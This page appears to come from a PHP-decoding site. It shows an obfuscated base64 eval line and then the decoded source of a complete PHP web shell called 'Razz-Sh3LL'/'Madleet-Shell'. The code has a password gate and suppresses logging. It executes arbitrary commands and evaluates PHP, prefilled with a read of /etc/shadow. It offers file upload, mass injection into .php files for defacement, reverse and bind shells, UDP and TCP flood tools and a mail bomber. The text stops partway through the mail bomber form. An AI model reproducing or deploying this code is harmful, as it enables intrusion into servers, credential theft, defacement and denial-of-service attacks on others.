Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAgCgokdXNlciA9ICJSYXp6IjsgCiRwYXNzID0gInJhenp3YXJkei..
Decoded Output download
?>b'<?php
$user = "Razz";
$pass = "razzwardz";
error_reporting(0);
ini_set(\'max_execution_time\',0);
// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
/**************** Defines *********************************/
$lock = "on"; // set this to off if you dont need the login page
$tracebackFeature = "on"; // set this feature to enable email alerts
$ownerEmail = "[email protected]"; // Change this to your email , This email is used to deliver tracebacks about your shell
$url = (!empty($_SERVER[\'HTTPS\'])) ? "https://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'] : "http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$phpVersion=phpversion();
$self=$_SERVER["PHP_SELF"]; // Where am i
$sm = @ini_get(\'safe_mode\');
$SEPARATOR = \'/\'; // Default Directory separator
$os = "N/D";
if(stristr(php_uname(),"Windows"))
{
$SEPARATOR = \'\\';
$os = "Windows";
}
else if(stristr(php_uname(),"Linux"))
{
$os = "Linux";
}
//*************************************************************/
// -------------- Traceback Functions
function sendLoginAlert()
{
global $ownerEmail;
global $url;
$accesedIp = $_SERVER[\'REMOTE_ADDR\'];
$randomInt = rand(0,1000000); # to avoid id blocking
$from = "[email protected]";
//echo $from;
if(function_exists(\'mail\'))
{
$subject = "Shell Accessed -- Razz-Sh3LL --";
$message = "
Hey Owner ,
Your Shell(Madleet-Shell) located at $url was accessed by $accesedIp
If its not you :-
1. Please check if the shell is secured.
2. Change your user name and Password.
3. Check if lock is 0n!
and Kick that ****** out!
Thanking You
Yours Faithfully
Razz-Sh3LL
";
mail($ownerEmail,$subject,$message,\'From:\'.$from);
}
}
//---------------------------------------------------------
if(function_exists(\'session_start\') && $lock == \'on\')
{
session_start();
}
else
{
// The lock will be set to \'off\' if the session_start fuction is disabled i.e if sessions are not supported
$lock = \'off\';
}
//logout
if(isset($_GET[\'logout\']) && $lock == \'on\')
{
$_SESSION[\'authenticated\'] = 0;
session_destroy();
header("location: ".$_SERVER[\'PHP_SELF\']);
}
ini_set(\'max_execution_time\',0);
/***************** Restoring *******************************/
ini_restore("safe_mode_include_dir");
ini_restore("safe_mode_exec_dir");
ini_restore("disable_functions");
ini_restore("allow_url_fopen");
ini_restore("safe_mode");
ini_restore("open_basedir");
if(function_exists(\'ini_set\'))
{
ini_set(\'error_log\',NULL); // No alarming logs
ini_set(\'log_errors\',0); // No logging of errors
ini_set(\'file_uploads\',1); // Enable file uploads
ini_set(\'allow_url_fopen\',1); // allow url fopen
}
else
{
ini_alter(\'error_log\',NULL);
ini_alter(\'log_errors\',0);
ini_alter(\'file_uploads\',1);
ini_alter(\'allow_url_fopen\',1);
}
// ----------------------------------------------------------------------------------------------------------------
?>
<html>
<head>
<title>"Razz-Sh3LL" | MRX | Dz</title>
<style>
/*
==========================
CSS Section
==========================
*/
*{
padding:0;
margin:0;
}
.alert
{
background:red;
color:white;
font-weight:bold;
}
td.info
{
width:0px;
}
.bind
{
border: 1px solid #333333;
margin: 15px auto 0;
font-size: small;
}
div.end *
{
font-size:small;
}
div.end
{
width:100%;
background:#222;
}
p.blink
{
text-decoration: blink;
}
body
{
background-color:black;
color:rgb(35,182,39);
font-family:Tahoma,Verdana,Arial;
font-size: small;
}
input.own {
background-color: #004848;
color: white;
border : 1px solid #FF0000;
}
blockquote.small
{
font-size: smaller;
color: silver;
text-align: center;
}
table.files
{
border-spacing: 10px;
font-size: small;
}
h1 {
padding: 4px;
padding-bottom: 0px;
margin-right : 5px;
}
div.logo
{
border-right: 1px #19d0d0;
}
div.header
{
padding-left: 5px;
font-size: small;
text-align: left;
}
div.nav
{
margin-top:1px;
height:30px;
background-color: #FF0000;
}
div.nav ul
{
list-style: none;
padding: 4px;
}
div.nav li
{
float: left;
margin-right: 10px;
text-align:center;
}
textarea.cmd
{
border : 1px solid #111;
background-color : #004848;
font-family: Shell;
color : white;
margin-top: 10px;
font-size:small;
}
input.cmd
{
background-color:black;
color: white;
width: 400px;
border : 1px solid #FF0000;
}
td.maintext
{
font-size: large;
}
#margins
{
margin-left: 10px;
margin-top: 10px;
color:white;
}
table.top
{
border-bottom: 1px #16f601;
width: 100%;
}
#borders
{
border-top : 1px #16f601;
border-left:1px #16f601;
border-bottom: 1px #16f601;
border-right: 1px #16f601;
margin-bottom:0;
}
td.file a , .file a
{
color : aqua;
text-decoration:none;
}
a.dir
{
color:white;
font-weight:bold;
text-decoration:none;
}
td.dir a
{
color : white;
text-decoration:none;
}
td.download,td.download2
{
color:#004848;
}
#spacing
{
padding:10px;
margin-left:200px;
}
th.header
{
background: none repeat scroll 0 0 #191919;
color: white;
border-bottom : 1px solid #333333;
}
p.warning
{
background : red;
color: white;
}
/*
--------------------------------CSS END------------------------------------------------------
*/
</style>
</head>
<body text="rgb(39,245,10)" bgcolor="black">
<?php
if(isset($_POST[\'user\']) && isset($_POST[\'pass\']) && $lock == \'on\')
{
if( $_POST[\'user\'] == $user &&
$_POST[\'pass\'] == $pass )
{
$_SESSION[\'authenticated\'] = 1;
// --------------------- Tracebacks --------------------------------
if($tracebackFeature == \'On\')
{
sendLoginAlert();
}
// ------------------------------------------------------------------
}
}
if($lock == \'off\')
{?>
<p class="warning"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
<?php
}
if($lock == \'on\' && (!isset($_SESSION[\'authenticated\']) || $_SESSION[\'authenticated\']!=1) )
{
?>
<table>
<tbody>
<tr>
<pre>
<center><font color="Orange">
<b><title>[!] Razz - SheLL</title>
<link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="https://i.top4top.io/p_26761zls71.png" alt="logo">
<br><br><br>
<body bgcolor=\'black\'>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:60px">[!]Official Razz SheLL</font>
</center>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></font> </center>
</b>
</pre>
</td>
<!-- <h1><?php // echo $greeting;?></h1>
<img src="Logo_03.png" class="imageForm" /> -->
<form method="POST" action="<?php echo $_SERVER[\'PHP_SELF\'];?>">
<input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input class="own" type="Submit" value="Own This Box!"/>
</form>
</td>
</tr>
</tbody>
</table>
<?php
}
//---------------------------------- We are authenticated now-------------------------------------
//Launch the shell
else
{
//---------------------------------- Fuctions ---------------------------------------------------
function showDrives()
{
global $self;
foreach(range(\'A\',\'Z\') as $drive)
{
if(is_dir($drive.\':\\'))
{
?>
<a class="dir" href=\'<?php echo $self ?>?dir=<?php echo $drive.":\"; ?>\'>
<?php echo $drive.":\" ?>
</a>
<?php
}
}
}
function HumanReadableFilesize($size)
{
$mod = 1024;
$units = explode(\' \',\'B KB MB GB TB PB\');
for ($i = 0; $size > $mod; $i++)
{
$size /= $mod;
}
return round($size, 2) . \' \' . $units[$i];
}
function getClientIp()
{
echo $_SERVER[\'REMOTE_ADDR\'];
}
function getServerIp()
{
echo getenv(\'SERVER_ADDR\');
}
function getSoftwareInfo()
{
echo php_uname();
}
function diskSpace()
{
echo HumanReadableFilesize(disk_total_space("/"));
}
function freeSpace()
{
echo HumanReadableFilesize(disk_free_space("/"));
}
function getSafeMode()
{
global $sm;
echo($sm?"ON :( :\'( (Most of the Features will Not Work!)":"OFF");
}
function getDisabledFunctions()
{
if(!ini_get(\'disable_functions\'))
{
echo "None";
}
else
{
echo @ini_get(\'disable_functions\');
}
}
function getFilePermissions($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}
// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));
// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));
// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));
return $info;
}
/***********************************************************/
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
// Turned OfF!
/**********************************************************/
function exec_all($command)
{
$output = \'\';
if(function_exists(\'exec\'))
{
exec($command,$output);
$output = join("
",$output);
}
else if(function_exists(\'shell_exec\'))
{
$output = shell_exec($command);
}
else if(function_exists(\'popen\'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$output .= fread($handle, 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$output .= fgets($handle,512);
}
}
}
pclose($handle);
}
else if(function_exists(\'system\'))
{
ob_start(); //start output buffering
system($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists(\'passthru\'))
{
ob_start(); //start output buffering
passthru($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists(\'proc_open\'))
{
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array \'pipes\'
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$output .= fread($pipes[1], 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$output .= fgets($pipes[1],512);
}
}
}
pclose($handle);
}
else
{
$output = "They have their Security there! :( ";
}
return(htmlspecialchars($output));
}
function magicQuote($text)
{
if (!get_magic_quotes_gpc())
{
return $text;
}
return stripslashes($text);
}
//------------------------------------------------------------------------------------------------
?>
<table class="top">
<tbody>
<tr>
<td>
<div class="logo">
<h1><link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="https://i.imgur.com/ShgwsUm.jpg" alt="logo">
</center>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></h1><blockquote class="small">Shell</blockquote>
</div>
</td>
<td>
<div class="header">
<?php getSoftwareInfo(); ?><br />
Your IP : <?php getClientIp(); ?> <font color="silver" >|</font> Server IP : <?php getServerIp();?> <br />
Safe Mode : <?php getSafeMode(); ?><br />
<?php if($os == \'Windows\'){ echo showDrives();} ?> <?php echo getcwd();?>
</div>
</td>
</tr>
</tbody>
</table>
<div class="header" id="borders">
Server ADMIN: <?php echo $_SERVER[\'SERVER_ADMIN\'];?> <font color="silver" >|</font>
PHP VERSION : <?php echo $phpVersion; ?> <font color="silver" >|</font>
Curl : <?php echo function_exists(\'curl_version\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
Oracle : <?php echo function_exists(\'ocilogon\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
MySQL : <?php echo function_exists(\'mysql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled");?> <font color="silver" >|</font>
MSSQL : <?php echo function_exists(\'mssql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
PostgreSQL : <?php echo function_exists(\'pg_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
Disable functions : <?php getDisabledFunctions(); ?> <font color="silver" >|</font>
Space : <?php diskSpace(); ?> <font color="silver" >|</font>
Free : <?php freeSpace(); ?>
</table>
</div>
<div class="nav">
<ul>
<li><a href="<?php echo $self;?>">Home</a></li>
<li><a href="<?php echo $self.\'?upload\';?>">Upload</a></li>
<li><a href="<?php echo $self.\'?shell\';?>">Shell</a></li>
<li><a href="<?php echo $self.\'?dos\';?>">DDoS</a></li>
<li><a href="<?php echo $self.\'?fuzz\';?>">Web-Server Fuzzer</a></li>
<li><a href="<?php echo $self.\'?mail\'?>">Mass Mailer</a></li>
<li><a href="<?php echo $self.\'?bomb\'?>">Mail Bomber</a></li>
<li><a href="<?php echo $self.\'?connect\'?>">Connect</a></li>
<li><a href="<?php echo $self.\'?injector\'?>">Mass Code Injector</a></li>
<li><a href="<?php echo $self.\'?decode\'?>">PHP Decoder</a></li>
<li><a href="<?php echo $self.\'?eval\'?>">PHP Evaluate</a></li>
<?php if($lock == \'on\')
{
?>
<li><a href="<?php echo $self.\'?logout\'?>">I m Out!</a></li>
<?php
}
?>
</ul>
</div>
<?php
//-------------------------------- Check what he wants -------------------------------------------
// Shell
if(isset($_GET[\'shell\']))
{
if(!isset($_GET[\'cmd\']) || $_GET[\'cmd\'] == \'\')
{
$result = "";
}
else
{
$result=exec_all($_GET[\'cmd\']);
}
?>
<textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea><br /><br />
<form action="<?php echo $self;?>" method="GET">
<!-- For Shell -->
<input name="shell" type="hidden" />
<!-- For CMD -->
<input name="cmd" class="cmd" />
<input name="submit" value="Spin That Shit!" class="own" type="submit" />
</form>
<?php
}
// PHP evaluate
else if(isset($_GET[\'eval\']))
{
?>
<form method="POST">
<textarea name="code" class="cmd" cols="100" rows="20"><?php
// If the comand was sent
if(isset($_POST[\'code\'])
&& $_POST[\'code\']
)
{
// FIlter Some Chars we dont need
$code = str_replace("<?php","",$_POST[\'code\']);
$code = str_replace("<?","",$code);
$code = str_replace("?>","",$code);
// Evaluate PHP CoDE!
htmlspecialchars(eval($code));
}
else
{
?>echo file_get_contents(\'/etc/shadow\');<?php
}
?></textarea><br /><br />
<input name="submit" value="Eval That COde! :D" class="own" type="submit" />
</form>
<?php
}
// Upload
else if(isset($_GET[\'upload\']))
{
if (isset($_POST[\'file\']) &&
isset($_POST[\'path\'])
)
{
$path = $_POST[\'path\'];
if($path[(strlen($path)-1)] != $SEPARATOR){$path = $path.$SEPARATOR;}
if(is_dir($path))
{
$uploadedFilePath = $_FILES[\'file\'][\'name\'];
$tempName = $_FILES[\'file\'][\'tmp_name\'];
$uploadPath = $path . $uploadedFilePath;
$stat = move_uploaded_file($tempName , $uploadedFilePath);
if ($stat)
{
echo "<p class=\'warning\'>File uploaded to $uploadPath</p>";
}
else
{
echo "<p class=\'warning\' > :( :\'( Failed to upload file to $uploadPath</p>";
}
}
}
else
{
?>
<table class="bind" align="center" >
<tr>
<th class="header" colspan="1" width="50px">Upload (From ur Computer)</th>
</tr>
<tr>
<td>
<table style="border-spacing: 6px;">
<form method="POST" enctype="multipart/form-data">
<tr>
<td width="100"><input type="file" name="file"/></td>
<td><input type="submit" name="file" class="own" value="Upload"/></td>
</tr>
<tr>
<td colspan="2">
<input class=\'cmd\' style="width: 280px;" name=\'path\' value="<?php echo getcwd(); ?>" />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
<?php
}
}
// Code Injector
else if(isset($_GET[\'injector\']))
{
if(isset($_GET[\'dir\']) &&
$_GET[\'dir\'] != \'\' &&
isset($_GET[\'filetype\']) &&
$_GET[\'filetype\'] != \'\' &&
isset($_GET[\'mode\']) &&
$_GET[\'mode\'] != \'\' &&
isset($_GET[\'message\']) &&
$_GET[\'message\'] != \'\'
)
{
$dir = $_GET[\'dir\'];
$filetype = $_GET[\'filetype\'];
$message = $_GET[\'message\'];
$mode = "a"; //default mode
// Modes Begin
if($_GET[\'mode\'] == \'Apender\')
{
$mode = "a";
}
if($_GET[\'mode\'] == \'Overwriter\')
{
$mode = "w";
}
if($handle = opendir($dir))
{
?>
Overwritten Files :-
<ul style="padding: 10px;" >
<?php
while(($file = readdir($handle)) !== False)
{
if((preg_match("/$filetype".\'$\'.\'/\', $file , $matches) != 0) && (preg_match(\'/\'.$file.\'$/\', $self , $matches) != 1))
{
?>
<li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li>
<?php
echo "
";
$fd = fopen($dir.$file,$mode);
fwrite($fd,$message);
}
}
?>
</ul>
<?php
}
}
else
{
?>
<table id="margins" >
<tr>
<form method=\'GET\'>
<input type="hidden" name="injector"/>
<tr>
<td width="100" class="title">
Directory
</td>
<td>
<input class="cmd" name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" />
</td>
</tr>
<tr>
<td class="title">
Mode
</td>
<td>
<select style="width: 400px;" name="mode" class="cmd">
<option value="Apender">Apender</option>
<option value="Overwriter">Overwriter</option>
</select>
</td>
</tr>
<tr>
<td class="title">
File Type
</td>
<td>
<input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value==\'\')this.value=\'.php\';" />
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Inject :D"/>
</td>
</tr>
</form>
</table>
<?php
}
}
// Connect
else if(isset($_GET[\'connect\']))
{
if(isset($_POST[\'ip\']) &&
isset($_POST[\'port\']) &&
$_POST[\'ip\'] != "" &&
$_POST[\'port\'] != ""
)
{
echo "<p>The Program is now trying to connect!</p>";
$ip = $_POST[\'ip\'];
$port=$_POST[\'port\'];
$sockfd=fsockopen($ip , $port , $errno, $errstr );
if($errno != 0)
{
echo "<font color=\'red\'><b>$errno</b> : $errstr</font>";
}
else if (!$sockfd)
{
$result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
}
else
{
fputs ($sockfd ,"
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
=================================================================");
$pwd = exec_all("pwd");
$sysinfo = exec_all("uname -a");
$id = exec_all("id");
$dateAndTime = exec_all("time /t & date /T");
$len = 1337;
fputs($sockfd ,$sysinfo . "
" );
fputs($sockfd ,$pwd . "
" );
fputs($sockfd ,$id ."
" );
fputs($sockfd ,$dateAndTime."
" );
while(!feof($sockfd))
{
$cmdPrompt ="(ClayTeaM-Shell)[$]> ";
fputs ($sockfd , $cmdPrompt );
$command= fgets($sockfd, $len);
fputs($sockfd , "
" . exec_all($command) . "
");
}
fclose($sockfd);
}
}
else if(
isset($_POST[\'port\']) &&
isset($_POST[\'passwd\']) &&
$_POST[\'port\'] != "" &&
$_POST[\'passwd\'] != "" )
{
// Set time limit to indefinite execution
set_time_limit (0);
// Set the ip and port we will listen on
$address = \'127.0.0.1\';
$port = $_POST[\'port\'];
$pass = $_POST[\'passwd\'];
if(function_exists("socket_create"))
{
// Create a TCP Stream socket
$sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// Bind the socket to an address/port
if(socket_bind($sockfd, $address, $port) == FALSE)
{
echo "Cant Bind to the specified port and address!";
}
// Start listening for connections
socket_listen($sockfd,15);
$passwordPrompt = "
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
=================================================================
0xPassword : ";
/* Accept incoming requests and handle them as child processes */
$client = socket_accept($sockfd);
socket_write($client , $passwordPrompt);
// Read the pass from the client
$input = socket_read($client, strlen($pass) + 2); // +2 for
if(trim($input) == $pass)
{
socket_write($client , "
");
socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "
" . exec_all("ver") : exec_all("date") . "
" . exec_all("uname -a"));
socket_write($client , "
");
while(1)
{
// Print Command prompt
$commandPrompt ="(Madleet-Shell)[$]> ";
$maxCmdLen = 31337;
socket_write($client,$commandPrompt);
$cmd = socket_read($client,$maxCmdLen);
if($cmd == FALSE)
{
echo "The client Closed the conection!";
break;
}
socket_write($client , exec_all($cmd));
}
}
else
{
echo "Wrong Password!";
socket_write($client, "sU(|< - 0FF Bitch!
");
}
socket_shutdown($client, 2);
socket_close($socket);
// Close the client (child) socket
//socket_close($client);
// Close the master sockets
//socket_close($sock);
}
else
{
echo "Socket Conections not Allowed/Supported by the server! <br />";
}
}
else
{
?>
<table class="bind" align="center" >
<tr>
<th class="header" colspan="1" width="50px">Back Connect</th>
<th class="header" colspan="1" width="50px">Bind Shell</th>
</tr>
<tr>
<form method=\'POST\' >
<td>
<table style="border-spacing: 6px;">
<tr>
<td>IP </td>
<td>
<input style="width: 200px;" class="cmd" name="ip" value="<?php getClientIp();?>" />
</td>
</tr>
<tr>
<td>Port </td>
<td><input style="width: 100px;" class="cmd" name="port" size=\'5\' value="31337"/> <input style="width: 90px;" class="own" type="submit" value="Connect!"/></td>
</tr>
</table>
</td>
</form>
<form method="POST">
<td>
<table style="border-spacing: 6px;">
<tr>
<td>Port</td>
<td>
<input style="width: 200px;" class="cmd" name="port" value="1337" />
</td>
</tr>
<tr>
<td>Passwd </td>
<td><input style="width: 100px;" class="cmd" name="passwd" size=\'5\' value="Madleet"/> <input style="width: 90px;" class="own" type="submit" value="Bind :D!"/></td>
</tr>
</table>
</td>
</form>
</tr>
</table>
<p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
<?php
}
}
//fuzzer
else if(isset($_GET[\'fuzz\']))
{
if(isset($_GET[\'ip\']) &&
isset($_GET[\'port\']) &&
isset($_GET[\'times\']) &&
isset($_GET[\'time\']) &&
isset($_GET[\'message\']) &&
isset($_GET[\'messageMultiplier\']) &&
$_GET[\'message\'] != "" &&
$_GET[\'time\'] != "" &&
$_GET[\'times\'] != "" &&
$_GET[\'port\'] != "" &&
$_GET[\'ip\'] != "" &&
$_GET[\'messageMultiplier\'] != ""
)
{
$IP=$_GET[\'ip\'];
$port=$_GET[\'port\'];
$times = $_GET[\'times\'];
$timeout = $_GET[\'time\'];
$send = 0;
$ending = "";
$multiplier = $_GET[\'messageMultiplier\'];
$data = "";
$mode="tcp";
$data .= "GET /";
$ending .= " HTTP/1.1
";
if($_GET[\'type\'] == "tcp")
{
$mode = "tcp";
}
while($multiplier--)
{
$data .= urlencode($_GET[\'message\']);
}
$data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
$data .= "by-Madleet-shell".$ending;
$length = strlen($data);
echo "Sending Data :- <br /> <p align=\'center\'>$data</p>";
print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
for($i=0;$i<$times;$i++)
{
$socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data , $length );
fclose($socket);
}
}
echo "<script>alert(\'Fuzzing Completed!\');</script>";
echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
echo "Total Number of Packets Sent : " . $times . "<br />";
echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
}
else
{
?>
<form method="GET">
<input type="hidden" name="fuzz" />
<table id="margins">
<tr>
<td width="400" class="title">
IP
</td>
<td>
<input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
</td>
</tr>
<tr>
<td class="title">
Port
</td>
<td>
<input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/>
</td>
</tr>
<tr>
<td class="title">
Timeout
</td>
<td>
<input type="text" class="cmd" name="time" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';"/>
</td>
</tr>
<tr>
<td class="title">
No of times
</td>
<td>
<input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';" />
</td>
</tr>
<tr>
<td class="title">
Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font>
</td>
<td>
<input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == \'%S%x--Some Garbage here --%x%S\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'%S%x--Some Garbage here --%x%S\';"/>
</td>
<td>
x
</td>
<td width="20">
<input style="width: 30px;" class="cmd" name="messageMultiplier" value="10" />
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
//DDos
else if(isset($_GET[\'dos\']))
{
if(isset($_GET[\'ip\']) &&
isset($_GET[\'exTime\']) &&
isset($_GET[\'port\']) &&
isset($_GET[\'timeout\']) &&
isset($_GET[\'exTime\']) &&
$_GET[\'exTime\'] != "" &&
$_GET[\'port\'] != "" &&
$_GET[\'ip\'] != "" &&
$_GET[\'timeout\'] != "" &&
$_GET[\'exTime\'] != ""
)
{
$IP=$_GET[\'ip\'];
$port=$_GET[\'port\'];
$executionTime = $_GET[\'exTime\'];
$noOfBytes = $_GET[\'noOfBytes\'];
$data = "";
$timeout = $_GET[\'timeout\'];
$packets = 0;
$counter = $noOfBytes;
$maxTime = time() + $executionTime;;
while($counter--)
{
$data .= "X";
}
$data .= "-by-Madleet-Shell";
print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
while(1)
{
$socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data);
fclose($socket);
$packets++;
}
if(time() >= $maxTime)
{
break;
}
}
echo "<script>alert(\'DDos Completed!\');</script>";
echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
echo "Total Number of Packets Sent : " . $packets . "<br />";
echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
}
else
{
?>
<form method="GET">
<input type="hidden" name="dos" />
<table id="margins">
<tr>
<td width="400" class="title">
IP
</td>
<td>
<input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
</td>
</tr>
<tr>
<td class="title">
Port
</td>
<td>
<input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/>
</td>
</tr>
<tr>
<td class="title">
Timeout <font color="red">(Time in seconds)</font>
</td>
<td>
<input type="text" class="cmd" name="timeout" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';" />
</td>
</tr>
<tr>
<td class="title">
Execution Time <font color="red">(Time in seconds)</font>
</td>
<td>
<input type="text" class="cmd" name="exTime" value="10" onfocus="if(this.value == \'10\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'10\';"/>
</td>
</tr>
<tr>
<td class="title">
No of Bytes per/packet
</td>
<td>
<input type="text" class="cmd" name="noOfBytes" value="999999" onfocus="if(this.value == \'999999\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'999999\';"/>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
// Mail Bomber
else if(isset($_GET[\'bomb\']))
{
if(
isset($_GET[\'to\']) &&
isset($_GET[\'subject\']) &&
isset($_GET[\'message\']) &&
isset($_GET[\'times\']) &&
$_GET[\'to\'] != \'\' &&
$_GET[\'subject\'] != \'\' &&
$_GET[\'message\'] != \'\' &&
$_GET[\'times\'] != \'\'
)
{
$times = $_GET[\'times\'];
while($times--)
{
if(isset($_GET[\'padding\']))
{
$fromPadd = rand(0,9999);
$subjectPadd = " -- ID : ".rand(0,9999999);
$messagePadd = "
------------------------------
".rand(0,99999999);
}
$from = "[email protected]";
if(!mail($_GET[\'to\'],$_GET[\'subject\'].$subjectPadd,$_GET[\'message\'].$messagePadd,"From:".$from))
{
$error = 1;
echo "<p class=\'alert\'>Some Error Occured!</p>";
break;
}
}
if($error != 1)
{
echo "<p class=\'alert\'>Mail(s) Sent!</p>";
}
}
else
{
?>
<form method="GET">
<input type="hidden" name="bomb" />
<table id="margins">
<tr>
<td class="title">
To
</td>
<td>
<input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/>
</td>
</tr>
<tr>
<td class="title">
Subject
</td>
<td>
